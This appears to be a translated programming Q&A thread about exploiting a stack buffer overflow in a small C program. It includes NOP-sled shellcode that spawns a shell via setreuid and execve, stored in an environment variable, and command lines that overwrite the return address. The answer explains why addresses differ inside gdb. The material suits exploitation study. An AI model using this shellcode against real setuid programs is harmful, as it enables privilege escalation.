我目前正在尝试理解为什么我的一个方法在程序中利用缓冲区溢出不起作用。我尝试了两种解决方案,第一种解决方案有效但第二种无效。而第一种方法只是在返回地址指向的地方添加了一堆NOP。 该程序不包含任何堆栈保护机制。 我正在使用x86 debian机器(ASLR关闭),内核2.6.32-5-686以及以下易受攻击的代码:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void vuln(char *arg)
{
char msg[12];
strcpy(msg,arg);
}
int main(int argc, char** argv)
{
if (argc != 2)
{
printf("Usage : prog arg\n");
exit(1);
}
vuln(argv[1]);
return 0;
}
EGG将包含100x NOP和我的shellcode
export EGG=`python2.6 -c 'print "\x90"*100 + "\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80"'`
EGG env变量位于:0xbffffe10,在gdb中使用“x / 200s $ esp”
利用以下方式利用该程序:
./a.out `python2.6 -c 'print "\x90"*24 + "\x50\xfe\xff\xbf"'`
我向EGG地址添加了0x40,让EIP指向NOP堆。
export EGG=`python2.6 -c 'print "\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80"'`
在gdb中使用“x / 200s $ esp”找到的EGG env变量:0xbffffe75
利用以下方式利用该程序:
./a.out `python2.6 -c 'print "\x90"*24 + "\x79\xfe\xff\xbf"'`
我向EGG var添加了0x4以忽略从“EGG =”开始的地址
这里shell生成了gdb,但我并没有像我想的那样suid,而在gdb之外的程序只是段错误... 使用到gdb:
r `python2.6 -c 'print "\x90"*24 + "AABC"'`
我得到了我应该得到的东西:
Cannot access memory at address 0x43424141
0x43424141 in ?? ()
所以我实际上正在删除正确的返回地址...... 我做错了什么?为什么gdb会生成一个shell,并且在调试器外没有任何工作?
答案 0 :(得分:0)
gdb
提供的环境与从shell启动时的环境不同。您需要调整地址:
例如(关闭ASLR):
$ cat test.c
#include <stdio.h>
int main()
{
int *i;
printf("stack var at: %p\n", i);
printf("env var at: %p\n", (void *)getenv("PATH"));
}
给出:
$./test
stack var at: 0xb7fc7ff4
env var at: 0xbffffebd
$ gdb test
Reading symbols from /home/user/test...(no debugging symbols found)...done.
(gdb) run
Starting program: /home/user/test
stack var at: 0xb7fc7ff4
env var at: 0xbffffe91
例如,比较show environment
中的gdb
和shell中的printenv
的结果